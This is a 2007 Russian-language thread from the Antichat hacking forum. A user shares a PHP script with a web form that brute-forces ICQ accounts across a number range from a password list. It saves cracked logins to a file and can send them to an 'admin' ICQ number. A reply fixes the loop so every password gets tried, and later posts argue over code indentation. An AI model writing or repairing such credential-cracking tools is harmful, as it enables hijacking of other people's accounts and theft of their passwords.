Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите с брутом на php! (https://forum.antichat.xyz/showthread.php?t=44755)

Hormold 18.07.2007 23:19

Помогите с брутом на php!
 
Вот пишу брут на php...
Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
Вот код:
PHP код:

<?
$good
="good.txt";
$bad="bad.txt";
if (@
socket_create()) {
echo 
"<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
exit();
}
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
if(!empty(
$_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$plist explode("\n"$_GET["pass"]);
$icq     = new WebIcqLite();
if (empty(
$uin))
{
    
$uin $_GET["uin_start"];
}
elseif (
$_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0
{
exit();
}
else
{
$uin++;
}
for (
$i 0$i <= count($plist)-1$i++)
{
$new_pass trim($plist[$i]);
}

if(
$icq->connect($uin$new_pass))
{
$file fopen($good"a+");
fwrite($file$uin.";".$new_pass."\n");
fclose($file);
if (
$_GET["send"] == "icq"
{
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}

}
else
{
$badfile fopen($bad"a");
fwrite($badfile$uin.";".$new_pass."\n");
fclose($badfile);
}
}else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>MINI BRUTE BY HoRmOlD</title>

</head>

<body>
<center>
  <table width="703" height="272" border="0">
  <tr>
    <td height="56"><center>
      <font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
    </center>
      </td>
  </tr>
  <tr>
    <td><center>
      <p>&nbsp;</p>
      <form method="get">
        <p>С какого номера начать:
            <input type="text" name="uin_start" />
        </p>
        <p>Каким закончить:
            <input type="text" name="uin_end" />
        </p>
        <p>Пароли(Не больше трёх):</p>
        <p>
            <textarea name="pass" cols="30" rows="5"></textarea>
        </p>
        <p>Если сбручен номер то: 
        <select name="send" size="1" >
<option value="icq" selected>На ICQ
<option value="0">Просто записать в good.txt
</select><BR>
        Номер icq админа:
          <input type="text" name="admin" />
          <INPUT TYPE="hidden" name="start" value="1">
</p>
        <p>
          <input name="Submit" type="submit" value="Брутить" />
        </p>
      </form>
      <p>(C) HoRmOlD</p>
      <p>&nbsp;      </p>
    </center>
    
    
    </td>
  </tr>
</table></center>
</body>
</html>

<?
///END BRUTE CODE
}
//Тут идёт WebIcqLite, нестал помещать из за размера!!!
?>


GoreMaster 18.07.2007 23:23

Засунь в цикл проверку
Код:

if($icq->connect($uin, $new_pass))....
PHP код:

for ($i 0$i <= count($plist)-1$i++)
{
$new_pass trim($plist[$i]);


В этот цикл
PHP код:

<?php
for ($i 0$i <= count($plist)-1$i++){ 
if(
$icq->connect($uin$new_pass)){
$file fopen($good"a+");
fwrite($file$uin.";".$new_pass."\n");
fclose($file);
if (
$_GET["send"] == "icq"){
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}
}
else{
$badfile fopen($bad"a");
fwrite($badfile$uin.";".$new_pass."\n");
fclose($badfile);

}
?>

Вроде так
З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)

Hormold 18.07.2007 23:32

А всё спасибо :)
А то сначало не понял :))

Hormold 18.07.2007 23:33

Про это(З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем))
я искал ошибки и всё разложил так чтобы было удобно!

GoreMaster 18.07.2007 23:37

Цитата:

я искал ошибки и всё разложил так чтобы было удобно!
Поставь Zend Studio там есть функция Ident Code, которая делает твой код читабельным и удаляет лишник отступы.
З.Ы.:не знаб есть ли в других редакторах такая фукнция

Isis 19.07.2007 00:42

Я считаю красивый код такой:
PHP код:

<?php
    error_reporting
(0);
    
set_time_limit(0);
    
ignore_user_abort(1);
    
    
$good     'good.txt';
    
$bad    'bad.txt';
    
    if (@
socket_create())
    exit(
'<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>');

    if(!empty(
$_GET['pass']) && $_GET['uin_start'] && $_GET['uin_end'])
    {
        
$plist explode("\n"$_GET['pass']);
        
$icq     = new WebIcqLite();
    if(empty(
$uin))
    {
        
$uin $_GET['uin_start'];
    }
    elseif(
$_GET['uin_end'] == $uin && $_GET['uin_rand'] == 0) exit();
    else 
$uin++;
    
    for(
$i 0$i <= count($plist)-1$i++)
    {
        
$new_pass trim($plist[$i]);
    }

    if(
$icq->connect($uin$new_pass))
    {
        
$file fopen($good'a+');
        
fwrite($file$uin.";".$new_pass."\n");
        
fclose($file);
        if (
$_GET['send'] == 'icq')
        
$icq->send_message($_GET['admin'], "Сбручен номер:\n".$uin.";".$current_pass);
    }
    else
    {
        
$badfile fopen($bad'a');
        
fwrite($badfile$uin.";".$new_pass."\n");
        
fclose($badfile);
    }
    
    } 
    else
    {
?>
html
<?php
    
}
?>


GoreMaster 19.07.2007 01:08

Цитата:

Я считаю красивый код такой:
У каждого свое представление о красоте,но когда речь идет о программном коде,то здесь главное читаемость,а не красота. :)
Вроде существуют каноны,по котоым следует оформлять код
P.S.: не оффтопь

Isis 19.07.2007 01:15

GoreMaster, красивый код это и есть "читаемость"...
Разве нет?

GoreMaster 19.07.2007 01:28

Цитата:

Разве нет?
Нет,так как понятие красоты понятие субъективное,мне вот не нравится твое оформление кода,но он читаем.
Меня напрягают отступы вначале и пробелы ИМХО лишние между условиями.

Isis 19.07.2007 02:12

Мда..вы смешной =\
Прочитайте про стили оформления..
Отступ слева должен быть всегда - это дефолт!


Время: 01:43